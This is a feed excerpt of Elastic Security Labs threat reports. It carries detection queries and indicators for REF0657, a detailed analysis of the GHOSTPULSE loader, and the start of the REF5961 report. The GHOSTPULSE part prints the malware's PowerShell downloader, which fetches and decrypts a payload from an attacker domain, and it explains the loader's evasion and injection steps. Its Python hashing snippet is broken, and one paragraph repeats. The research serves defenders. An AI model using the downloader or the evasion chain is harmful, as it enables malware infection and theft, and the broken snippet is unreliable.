<li><a href="https://www.elastic.co/guide/en/security/current/wmi-incoming-lateral-movement.html">WMI Incoming Lateral Movement</a></li>
</ul>
<h3 id="prevention">Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_ingress_tool_transfer_via_inet_cache.toml">Ingress Tool Transfer via INET Cache</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_windows_error_manager.toml">Potential Masquerading as Windows Error Manager</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/lateral_movement_potential_lateral_movement_via_smbexec.toml">Potential Lateral Movement via SMBExec</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_cmd_execution_via_wmi.toml">Suspicious Cmd Execution via WMI</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_with_unusual_arguments.toml">RunDLL32 with Unusual Arguments</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_powershell_execution.toml">Suspicious PowerShell Execution</a></li>
</ul>
<h3 id="huntingqueriesinelastic">Hunting queries in Elastic</h3>
<p>Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h4 id="esqlqueries">ES|QL queries</h4>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below ES|QL queries to hunt for similar behaviors:</p>
<pre><code>FROM logs-*
  WHERE process.parent.name == "sqlservr.exe" 
  AND process.name == "cmd.exe" 
  AND process.command_line 
  RLIKE ".*certutil.*"
</code></pre>
<pre><code>FROM logs-*
  WHERE process.name == "ms_edge.exe" 
  AND process.code_signature.exists == false 
  AND NOT process.executable 
  RLIKE ".*Program Files.*"
</code></pre>
<h4 id="yara">YARA</h4>
<p>Elastic Security has created the following YARA rules to identify this activity:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar">Windows.Trojan.CobaltStrike</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_SleepObfLoader.yar">Windows.Hacktool.SleepObfLoader</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Hacktool_Nps.yar">Multi.Hacktool.Nps</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Hacktool_Rakshasa.yar">Multi.Hacktool.Rakshasa</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Iox.yar">Windows.Hacktool.Iox</a></li>
</ul>
<h2 id="observations">Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ref0657">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<p>| Observable                                                       | Type        | Name        | Reference                                  |
|------------------------------------------------------------------|-------------|-------------|--------------------------------------------|
| 206.237.3[.]150                                                  | ipv4-addr   |             | File hosting infrastructure                |
| 206.237.0[.]49                                                   | ipv4-addr   |             | File hosting and supershell infrastructure |
| 104.21.54[.]126                                                  | ipv4-addr   |             | Cobalt Strike infrastructure               |
| 149.104.23[.]176                                                 | ipv4-addr   |             |                                            |
| msedge[.]one                                                     | domain-name |             | Cobalt Strike infrastructure               |
| bc90ef8121d20af264cc15b38dd1c3a866bfe5a9eb66064feb2a00d860a0e716 | SHA-256     | mscoree.dll |                                            |
| 84b3bc58ec04ab272544d31f5e573c0dd7812b56df4fa445194e7466f280e16d | SHA-256     | MSASN1.dll  |                                            |</p>
<h2 id="aboutelasticsecuritylabs">About Elastic Security Labs</h2>
<p>Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.</p>
<p>Follow Elastic Security Labs on Twitter <a href="https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor">@elasticseclabs</a> and check out our research at <a href="https://www.elastic.co/security-labs/">www.elastic.co/security-labs/</a>.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/unmasking-financial-services-intrusion-ref0657</link>
    <guid isPermaLink="false">unmasking-financial-services-intrusion-ref0657</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Daniel Stepanic,Salim Bitam,Andrew Pease]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9acb884495d7b4b0/6a7c9850ea068d59baf0462c/photo-edited-08@2x.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 31 Jan 2024 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[GHOSTPULSE haunts victims using defense evasion bag o' tricks]]></title>
    <description><![CDATA[Elastic Security Labs reveals details of a new campaign leveraging defense evasion capabilities to infect victims with malicious MSIX executables.]]></description>
    <content:encoded><![CDATA[<h2 id="update">Update</h2>
<p>In October 2024, we released an update to stage 2 of GHOSTPULSE that includes new evasion techniques. You can check it out <a href="https://www.elastic.co/security-labs/tricks-and-treats">here</a>.</p>
<h2 id="preamble">Preamble</h2>
<p>Elastic Security Labs has observed a campaign to compromise users with signed <a href="https://learn.microsoft.com/en-us/windows/msix/overview">MSIX</a> application packages to gain initial access. The campaign leverages a stealthy loader we call GHOSTPULSE which decrypts and injects its final payload to evade detection.</p>
<p>MSIX is a Windows app package format that developers can leverage to package, distribute, and install their applications to Windows users. With <a href="https://learn.microsoft.com/en-us/windows/msix/app-installer/app-installer-root">App Installer</a>, MSIX packages can be installed with a double click. This makes them a potential target for adversaries looking to compromise unsuspecting victims. However, MSIX requires access to purchased or stolen code signing certificates making them viable to groups of above-average resources.</p>
<p>In a common attack scenario, we suspect the users are directed to download malicious MSIX packages through <a href="https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates">compromised websites</a>, search-engine optimization (SEO) techniques, or malvertising. The masquerading themes we’ve observed include installers for Chrome, Brave, Edge, Grammarly, and WebEx to highlight a few.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbddf3d0707879df1/6a7c860bc2cc0984d524344f/image5.png" alt="" /></p>
<p>From the user's perspective, the “Install” button appears to function as intended. No pop-ups or warnings are presented. However, a PowerShell script is covertly used to download, decrypt, and execute GHOSTPULSE on the system. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcca98ef854c98eb3/6a7c860ebd21984d6c75233b/image10.jpg" alt="" /></p>
<h2 id="malwareanalysis">Malware Analysis</h2>
<p>The GHOSTPULSE loader can be broken down into 3 stages (sometimes preceded by a PowerShell script) used to execute a final payload.</p>
<h3 id="stage0">Stage 0</h3>
<p>We consider the PowerShell script dropped by the malicious MSIX installer to be the stage 0 payload. The PowerShell script is typically included in MSIX infection vectors, but not always in other GHOSTPULSE infection methods (MSI, EXE, ISO). In one sample, the PowerShell script downloads a GPG-encrypted file from <code>manojsinghnegi[.]com/2.tar.gpg</code>. </p>
<p>Next, the PowerShell script decrypts the file using the command-line GPG utility using the following parameters:</p>
<ul>
<li><code>putin</code> - the passphrase for the GPG file</li>
<li><code>--batch</code> - execute GPG in non-interactive mode</li>
<li><code>--yes</code> - answer “yes” to any prompts</li>
<li><code>--passphrase-fd 0</code> - read the passphrase from a file descriptor, 0 instructs GPG to use STDIN, which is putin</li>
<li><code>--decrypt</code> - decrypt a file</li>
<li><code>--output</code> - what to save the decrypted file as</li>
</ul>
<pre><code># 1
$url = "https://manojsinghnegi[.]com/2.tar.gpg"
$outputPath = "$env:APPDATA\$xxx.gpg"
Invoke-WebRequest -Uri $url -OutFile $outputPath

# 1
echo 'putin' | .$env:APPDATA\gpg.exe --batch --yes --passphrase-fd 0 --decrypt --output $env:APPDATA\$xxx.rar $env:APPDATA\$xxx.gpg
</code></pre>
<p>The GPG utility is included in the malicious MSIX installer package.</p>
<p>The decrypted file is a tar archive containing an executable <code>VBoxSVC.exe</code> which is in reality a renamed signed <code>gup.exe</code> executable that is used to update Notepad++, which is vulnerable to sideloading, an encrypted file in one example <code>handoff.wav</code> and a mostly benign library <code>libcurl.dll</code> with one of its functions overwritten with malicious code. The PowerShell executes the binary <code>VBoxSVC.exe</code> that will side load from the current directory the malicious DLL <code>libcurl.dll</code>. By minimizing the on-disk footprint of encrypted malicious code, the threat actor is able to evade file-based AV and ML scanning.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blteddb1bfc1bca82b8/6a7c8611bd2198000b75233f/image11.png" alt="File metadata of VBoxSVC.bin" title="File metadata of VBoxSVC.bin" /></p>
<h3 id="stage1">Stage 1</h3>
<p>The first stage of GHOSTPULSE is embedded within a malicious DLL that undergoes side-loading through a benign executable. Execution of the corresponding code is triggered during the <em>DllEntryPoint</em> phase. </p>
<p>The process is initiated by pinpointing the base address of the malicious DLL of <code>libcurl.dll</code>, achieved through parsing the <em>InLoadOrderModuleList</em> API. This list, residing in the Process Environment Block (PEB), systematically records information about loaded modules.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0aecce30225e51a6/6a7c8613e88c655a990058db/image13.png" alt="Parsing the InLoadOrderModuleList structure" title="Parsing the InLoadOrderModuleList structure" /></p>
<p>Next, GHOSTPULSE builds an Import Address Table (IAT) incorporating essential APIs. This operation involves parsing the <em>InLoadOrderModuleList</em> structure within the Process Environment Block (PEB).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0aecce30225e51a6/6a7c8613e88c655a990058db/image13.png" alt="Stage 1 hashing algorithm" title="Stage 1 hashing algorithm" /></p>
<pre><code># Python code used for API hashing
def calculate_api_name_hash(api_name):
    value = 0
    for char in input_string:
        total = (ord(char) + value *0x1003F)&amp;0xFFFFFFFF
    return value 
</code></pre>
<p>Below is the Stage 1 IAT structure reconstructed from the GHOSTPULSE malware sample, provided for reference:</p>
<pre><code>struct core_stage1_IAT
{
void *kernel32_LoadLibraryW;
void *kernel32_QueryPerformanceCounter;
void *ntdll_module;
void *kernel32_CloseHandle;
__int64 field_20;
__int64 field_28;
__int64 field_30;
__int64 field_38;
void *kernel32_GetTempPathW;
void *kernel32_GetModuleFileNameW;
__int64 field_50;
__int64 field_58;
__int64 field_60;
void *ntdll__swprintf;
__int64 field_70;
__int64 field_78;
__int64 (__fastcall *ntdll_RtlDecompressBuffer)(__int64, __int64, _QWORD, __int64, int, int *);
void *kernel32_CreateFileW;
void *kernel32_ReadFile;
void *ntdll_NtQueryInformationProcess;
void *kernel32_GetFileSize;
__int64 field_A8;
void *kernel32_module;
__int64 field_B8;
void *ntdll_NtDelayExecution;
__int64 (__fastcall *kernel32_GlobalAlloc)(__int64, __int64);
__int64 field_D0;
void *kernel32_GlobalFree;
__int64 field_E0;
void *ntdll_RtlQueryEnvironmentVariable_U;
};
</code></pre>
<p>It then proceeds with its operation by reading and parsing the file named <code>handoff.wav</code> from the current directory. This file contains an encrypted data blob divided into distinct chunks. Each chunk of data is positioned following the string IDAT. The parsing process involves the malware executing through two distinct steps.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt63eff1ac621af722/6a7c8617ead8ecd6daba49f3/image14.png" alt="Reading and decrypting the encrypted file" title="Reading and decrypting the encrypted file" /></p>
<p>The initial phase involves identifying the commencement of the encrypted data by searching for the IDAT string in the file, which is followed by a distinctive 4-byte tag value. If the tag corresponds to the value stored in the malware's configuration, the malware extracts the bytes of the encrypted blob. The initial structure is as follows:</p>
<pre><code>struct initial_idat_chunk
{
  DWORD size_of_chunk;
  DWORD IDAT_string;
  DWORD tag;
  DWORD xor_key;
  DWORD size_of_encrypted_blob;
  _BYTE first_chunk[];
};
</code></pre>
<ul>
<li><strong>size_of_chunk</strong>: The malware utilizes this value, performing bits shifting to determine the chunk size to extract before the next occurrence of IDAT. </li>
<li><strong>xor_key</strong>: A 4-byte long XOR key employed for decrypting the consolidated encrypted blob after extraction</li>
<li><strong>size_of_encrypted_blob</strong>: Denotes the overall size of the encrypted blob, which is stored in chunks within the file </li>
<li><strong>first_chunk</strong>: Marks the start of the first chunk of data in memory</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbbbb66d7b59b9a66/6a7c861ac2cc09ee71243453/image2.png" alt="" /></p>
<p>In the second step, the malware locates the next occurrence of IDAT and proceeds to extract the encrypted chunks that follow it which has the following format: </p>
<pre><code>struct next_idat_chunk
{
DWORD size_of_chunk;
DWORD IDAT_string;
_BYTE n_chunk[];
};
</code></pre>
<ul>
<li><strong>size_of_chunk</strong>: The malware utilizes this value, performing bits shifting to determine the chunk size to extract before the next occurrence of IDAT. </li>
<li><strong>n_chunk</strong>: Marks the start of the chunk of data in memory</li>
</ul>
<p>The malware continues extracting encrypted data chunks until it reaches the specified size_of_encrypted_blob. Subsequently, the malware proceeds to decrypt the data using the 4-byte XOR key <em>xor_key</em>.</p>
<p>At this stage, the data blob, which is already compressed, undergoes decompression by the malware. The decompression process utilizes the <code>RtlDecompressBuffer</code> api.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltff660a00e55db2fb/6a7c861d80ee380a3260d1da/image1.png" alt="Decompression using the RtlDecompressBuffer API" title="Decompression using the RtlDecompressBuffer API" /></p>
<p>The malware proceeds by loading a specified library stored in its configuration, in this case, <code>mshtml.dll</code>, utilizing the <em>LoadLibraryW</em> function. Shellcode (Stage 2) contained inside the decrypted and decompressed blob of data is written to the .text section of the freshly loaded DLL and then executed.</p>
<p>This technique is known as “module stomping”. The following image shows the associated <em>VirtualProtect</em> API calls captured with <a href="https://www.elastic.co/guide/en/security/current/install-endpoint.html">Elastic Defend</a> associated with the module stomping:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt99ae7188923e96b4/6a7c862033fa8a71aa1fc9e5/image4.png" alt="" /></p>
<h3 id="stage2">Stage 2</h3>
<p>Stage 2 initiates by constructing a new IAT structure and utilizing the CRC32 algorithm as the API name hashing mechanism.
The following is the IAT structure of stage 2:</p>
<pre><code>struct core_stage2_IAT
{
  void *kernel32_module;
  void *ntdll_module;
  void *kernel32_CreateFileW;
  void *kernel32_WriteFile;
  void *kernel32_ReadFile;
  void *kernel32_SetFilePointer;
  void *kernel32_CloseHandle;
  void *kernel32_GlobalAlloc;
  void *kernel32_GlobalFree;
  void *kernel32_ExpandEnvironmentStringsW;
  void *kernel32_GetFileSize;
  void *kernel32_GetProcAddress;
  void *kernel32_LoadLibraryW;
  void *ntdll__swprintf;
  void *kernel32_QueryPerformanceCounter;
  void *ntdll_RtlDecompressBuffer;
  void *field_80;
  void *field_88;
  void *field_90;
  void *field_98;
  void *field_A0;
  void *ntdll_NtDelayExecution;
  void *ntdll_RtlRandom;
  void *kernel32_GetModuleFileNameW;
  void *kernel32_GetCommandLineW;
  void *field_C8;
  void *ntdll_sscanf;
  void *field_D8;
  void *ntdll_NtQueryInformationProcess;
  void *ntdll_NtQuerySystemInformation;
  void *kernel32_CreateDirectoryW;
  void *kernel32_CopyFileW;
  void *ntdll_NtClose;
  void *field_108;
  void *field_110;
  void *field_118;
  void *field_120;
  void *field_128;
  void *kernel32_SetCurrentDirectoryW;
  void *field_138;
  void *kernel32_SetEnvironmentVariableW;
  void *kernel32_CreateProcessW;
  void *kernel32_GetFileAttributesW;
  void *msvcrt_malloc;
  void *msvcrt_realloc;
  void *msvcrt_free;
  void *ntdll_RtlHashUnicodeString;
  void *field_178;
  void *field_180;
  void *kernel32_OpenMutexA;
  void *field_190;
  void *kernel32_VirtualProtect;
  void *kernel32_FlushInstructionCache;
  void *field_1A8;
  void *ntdll_NtOpenProcessToken;
  void *ntdll_NtQueryInformationToken;
  void *ntdll_RtlWalkFrameChain;
  void *field_1C8;
  void *addr_temp_file_content;
  void *addr_decrypted_file;
};
</code></pre>
<p>Concerning NT functions, the malware reads the ntdll.dll library from disk and writes it to a dynamically allocated memory space with read, write, and execute permissions. Subsequently, it parses the loaded <code>ntdll.dll</code> library to extract the offsets of the required NT functions. These offsets are then stored within the newly built IAT structure. When the malware necessitates the execution of an NT API, it adds the API offset to the base address of <code>ntdll.dll</code> and directly invokes the API. Given that NT APIs operate at a very low level, they execute syscalls directly, which does not require the <code>ntdll.dll</code> library to be loaded in memory using the LoadLibrary API, this is done to evade userland hooks set by security products.</p>
<p>The following is the structure used by the malware to store NT API offsets:</p>
<pre><code>struct __unaligned __declspec(align(4)) core_stage2_nt_offsets_table
{
  __int64 ntdll_module;
  int ZwCreateSection;
  int ZwMapViewOfSection;
  int ZwWriteVirtualMemory;
  int ZwProtectVirtualMemory;
  int NtSuspendThread;
  int ZwResumeThread;
  int ZwOpenProcess;
  int ZwGetContextThread;
  int NtSetContextThread;
};
</code></pre>
<p>GHOSTPULSE has the ability to establish persistence, if configured to, by generating an <code>.lnk</code> file that points to the Stage 1 binary, denoted as <code>VBoxSVC.exe</code>. To achieve this, the malware leverages COM (Component Object Model) objects as part of its technique.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltafd5e997216cfa54/6a7c862233fa8a52901fc9e9/image6.png" alt="Persistence executed according to the configuration flag" title="Persistence executed according to the configuration flag" /></p>
<p>It extracts another sub-blob of data from the first decrypted blob of Stage 1. This data is located at a specific position in the structure. The malware then performs an XOR encryption on this sub-blob, using the result of the XOR operation between the CRC32 value of the machine's computer name and the constant value <code>0xA1B2D3B4</code>. Finally, the encrypted data is saved to a file in the user's temporary folder.
It extracts another sub-blob of data from the first decrypted blob of Stage 1. This data is located at a specific position in the structure. The malware then performs an XOR encryption on this sub-blob, using the result of the XOR operation between the CRC32 value of the machine's computer name and the constant value <code>0xA1B2D3B4</code>. Finally, the encrypted data is saved to a file in the user's temporary folder.</p>
<p>The malware then initiates a suspended child process using the executable specified in the Stage 2 configuration, which is a 32-bit <code>cmd.exe</code> in this case. It then adds an environment variable to the child process with a random name, example: <code>GFHZNIOWWLVYTESHRTGAVC</code>, pointing to the previously created temporary file. </p>
<p>Further, the malware proceeds by creating a section object and mapping a view of it to <code>mshtml.dll</code> in the child process using the <code>ZwCreateSection</code> and <code>ZwMapViewOfSection</code> APIs.</p>
<p>The legitimate <code>mshtml.dll</code> code is overwritten with the <em>WriteProcessMemory</em> API. The primary thread’s execution is then redirected to the malicious code in <code>mshtml.dll</code> with the <em>Wow64SetThreadContext</em> API as shown in the following image:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9b721297287e314d/6a7c862580ee38162460d1de/image12.png" alt="" /></p>
<p>The parent process promptly terminates itself.</p>
<h3 id="stage3">Stage 3</h3>
<p>The objective of GHOSTPULSE’s Stage 3 is to load and execute the final payload in another  process. One interesting part of Stage 3 was that it overwrites its previously executed instructions with new instructions to make analysis difficult. It is also capable of establishing persistence using the same method described above. GHOSTPULSE executes NTDLL APIs using the "<a href="https://www.zdnet.com/article/malware-authors-are-still-abusing-the-heavens-gate-technique/">heaven’s gate</a>" technique.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc30009532ad92374/6a7c862877b03480ed3f9648/image9.png" alt="" /></p>
<p>Stage 3 starts off by constructing its own Function Import Table using CRC32 as the hashing algorithm. Additionally, it has the capability to disable redirection of the file system to WOW64, achieved through the utilization of the procedure <code>Wow64FsRedirection</code>, if configured to do so.</p>
<p>Following this, Stage 3 accesses the environment variable that was set earlier, in our case <code>GFHZNIOWWLVYTESHRTGAVC</code>, retrieves the associated temporary file and proceeds to decrypt its contents.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt00e925f29561c1eb/6a7c862bbdcff0d52bc3d15c/image15.png" alt="Decrypting the temp file using the computer name and a hardcoded value" title="Decrypting the temp file using the computer name and a hardcoded value" /></p>
<p>The decrypted file includes both a configuration and the ultimate payload in an encrypted format. The final payload undergoes XOR decryption using a 200-byte long key stored within the configuration. The malware then parses the PE structure of the payload with a set of functions that will indicate how the payload will be injected, for example, the type of payload (DLL or executable) architecture, etc.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3c5c7188af4291ea/6a7c862d448e4e4ba25bac27/image3.png" alt="Decrypting the final payload" title="Decrypting the final payload" /></p>
<p>GHOSTPULSE employs <a href="https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack">Process Doppelgänging</a>, leveraging the NTFS transactions feature to inject the final payload into a new child process. The following steps illustrate the process:</p>
<ul>
<li>Calls the <code>CreateTransaction</code> API to initial a transaction</li>
<li>Creates a transaction file with a random file name in temp folder with the <code>ZwCreateFile</code> API</li>
<li>Writes the payload to the temp file using the <code>ZwWriteFile</code> API</li>
<li>Creates a section of the transaction file with <code>ZwCreateSection</code> API</li>
<li>At this point the file is not needed anymore, the malware calls the <code>RollbackTransaction</code> API to roll the transaction back</li>
<li>GHOSTPULSE creates a suspended process with the target process path taken from it's configuration, in our sample <code>1msbuild.exe1</code></li>
<li>It maps a view of the section to the process with the <code>ZwMapViewOfSection</code> API</li>
<li>It sets the child process thread instruction pointer to the entry point of the final payload with the <code>NtSetContextThread</code> API</li>
<li>Finally it resumes the thread with the <code>NtResumeThread</code> API</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt91227cf4d1442371/6a7c863033fa8afec81fc9ed/image8.png" alt="Functions used to execute process doppelgänging technique" title="Functions used to execute process doppelgänging technique" /></p>
<h3 id="finalpayload">Final Payload</h3>
<p>The final payload varies from sample to sample but is typically an information stealer. We have observed SectopRAT, Rhadamanthys, Vidar, Lumma, and NetSupport as final payloads. In SectopRAT samples, the malware first reaches out to Pastebin to retrieve the command and control address. In this case, it was <code>195.201.198[.]179</code> over TCP port <code>15647</code> as shown below:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt69a65f40a8ca0d6d/6a7c86338fc2d01d443e8987/image7.jpg" alt="" /></p>
<h2 id="configurationextractor">Configuration extractor</h2>
<p>Alongside this research, the Elastic Security Research Team has provided a <a href="https://github.com/elastic/labs-releases/blob/main/tools/ghostpulse/ghostpulse_payload_extractor.py">configuration extractor</a> to allow threat researchers to continue work to discover further developments within this campaign and expand detection capabilities for our community. The extractor takes the encrypted file shipped with GHOSTPULSE as the input.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8cbac45ecc2ba1c9/6a7c863633fa8a4bec1fc9f1/image16.png" alt="" /></p>
<h2 id="detectionguidance">Detection Guidance</h2>
<p>Elastic Defend detects this threat with the following <a href="https://github.com/elastic/protections-artifacts/tree/main/behavior">behavior protection rules</a>:</p>
<ul>
<li>DNS Query to Suspicious Top Level Domain</li>
<li>Library Load of a File Written by a Signed Binary Proxy</li>
<li>Suspicious API Call from an Unsigned DLL</li>
<li>Suspicious Memory Write to a Remote Process</li>
<li>Process Creation from Modified NTDLL</li>
</ul>
<p>The following yara rule will also detect GHOSTPULSE loaders on disk:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GhostPulse.yar">Windows.Trojan.GhostPulse</a></li>
</ul>
<h2 id="observations">Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ghostpulse">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<p>| Observable                                                       | Type        | Name            | Reference                   |
|------------------------------------------------------------------|-------------|-----------------|-----------------------------|
| 78.24.180[.]93                                                   | ip-v4       |                 | Stage 0 C2 IP               |
| manojsinghnegi[.]com                                             | domain-name |                 | Stage 0 C2 domain           |
| manojsinghnegi[.]com/2.tar.gpg                                   | url         |                 | Stage 0 C2 URL              |
| 0c01324555494c35c6bbd8babd09527bfc49a2599946f3540bb3380d7bec7a20 | sha256      | Chrome-x64.msix | Malicious MSIX              |
| ee4c788dd4a173241b60d4830db128206dcfb68e79c68796627c6d6355c1d1b8 | sha256      | Brave-x64.msix  | Malicious MSIX              |
| 4283563324c083f243cf9335662ecc9f1ae102d619302c79095240f969d9d356 | sha256      | Webex.msix      | Malicious MSIX              |
| eb2addefd7538cbd6c8eb42b70cafe82ff2a8210e885537cd94d410937681c61 | sha256      | new1109.ps1     | PowerShell Downloader       |
| 49e6a11453786ef9e396a9b84aeb8632f395477abc38f1862e44427982e8c7a9 | sha256      | 38190626900.rar | GHOSTPULSE tar archive      |
| Futurity Designs Ltd                                             | Code signer |                 | Chrome-x64.msix code signer |
| Fodere Titanium Limited                                          | Code signer |                 | Brave-x64.msix code signer  |
| IMPERIOUS TECHNOLOGIES LIMITED                                   | Code signer |                 | Webex.msix code signer      |</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://twitter.com/1ZRR4H/status/1699923793077055821">https://twitter.com/1ZRR4H/status/1699923793077055821</a></li>
<li><a href="https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/">https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/</a></li>
<li><a href="https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates">https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates</a></li>
</ul>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks</link>
    <guid isPermaLink="false">ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Salim Bitam,Joe Desimone]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1bad24795d81fc66/6a7c863996b5a62891875605/photo-edited-05@2x.jpg" length="0" type="image/jpeg"/>
    <pubDate>Fri, 27 Oct 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Introducing the REF5961 intrusion set]]></title>
    <description><![CDATA[The REF5961 intrusion set discloses three new malware families targeting ASEAN members. The threat actor leveraging this intrusion set continues to develop and mature their capabilities.]]></description>
    <content:encoded><![CDATA[<h2 id="preamble">Preamble</h2>
<p><strong>Updated October 11, 2023 to include links to the BLOODALCHEMY backdoor.</strong></p>
<p>Elastic Security Labs continues to monitor state-aligned activity, targeting governments and multinational government organizations in Southern and Southeastern Asia. We’ve observed a batch of new and unique capabilities within a complex government environment. This intrusion set is named REF5961.</p>
<p>In this publication, we will highlight distinctions between malware families, demonstrate relationships to known threats, describe their features, and share resources to identify or mitigate elements of an intrusion. Our intent is to help expose this ongoing activity so the community can better understand these types of threats.</p>
<p>The samples in this research were discovered to be co-residents with a previously reported intrusion set, REF2924 (original reporting <a href="https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">here</a> and updated <a href="https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">here</a>). The victim is the Foreign Affairs Ministry of a member of the Association of Southeast Asian Nations (ASEAN).  </p>
<p>Elastic Security Labs describes the operators of the REF2924 and REF5961 intrusion sets as state-sponsored and espionage-motivated due to observed targeting and post-exploitation collection activity. Further, the correlation of execution flows, tooling, infrastructure, and victimology of multiple campaigns we’re tracking along with numerous third-party reports makes us confident this is a China-nexus actor.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte5c1df10d6038532/6a7c87c7c2cc099980243487/image27.jpg" alt="REF5961 intrusion execution flow" title="REF5961 intrusion execution flow" /></p>
<p>Part of this intrusion set includes a new x86-based backdoor called BLOODALCHEMY, and it is covered in depth <a href="https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor">here</a>.</p>
<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>Elastic Security Labs is disclosing three new malware families:</li>
<li>EAGERBEE</li>
<li>RUDEBIRD</li>
<li>DOWNTOWN</li>
<li>Code sharing and network infrastructure have connected malware in this intrusion set to other campaigns</li>
<li>The threat actors targeting ASEAN governments and organizations continue to develop and deploy additional capabilities</li>
</ul>
<h2 id="eagerbee">EAGERBEE</h2>
<p>EAGERBEE is a newly identified backdoor discovered by Elastic Security Labs that loads additional capabilities using remotely-downloaded PE files, hosted in C2. However, its implementation and coding practices reveal a lack of advanced skills from the author, relying on basic techniques.</p>
<p>During our research outlined below, we identified string formatting and underlying behavior that aligns with previous research attributed to a Chinese-speaking threat actor referred to as <a href="https://malpedia.caad.fkie.fraunhofer.de/actor/apt27">LuckyMouse</a> (APT27, EmissaryPanda).</p>
<h3 id="codeanalysis">Code analysis</h3>
<p>EAGERBEE dynamically constructs its Import Address Table (IAT) during runtime, populating a designated data structure with the memory addresses of essential Windows APIs that the malware needs.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta845ed668e42b7da/6a7c87ca448e4e67125bac75/image25.png" alt="EAGERBEE dynamically constructs its Import Address Table" title="EAGERBEE dynamically constructs its Import Address Table" /></p>
<p><strong><em>Note: Dynamic import tables are used as an anti-analysis technique by malware authors to impair static analysis of their binaries. These techniques prevent most static analysis software from determining the imports and thus force analysts through laborious manual methods to determine what the malware is doing.</em></strong></p>
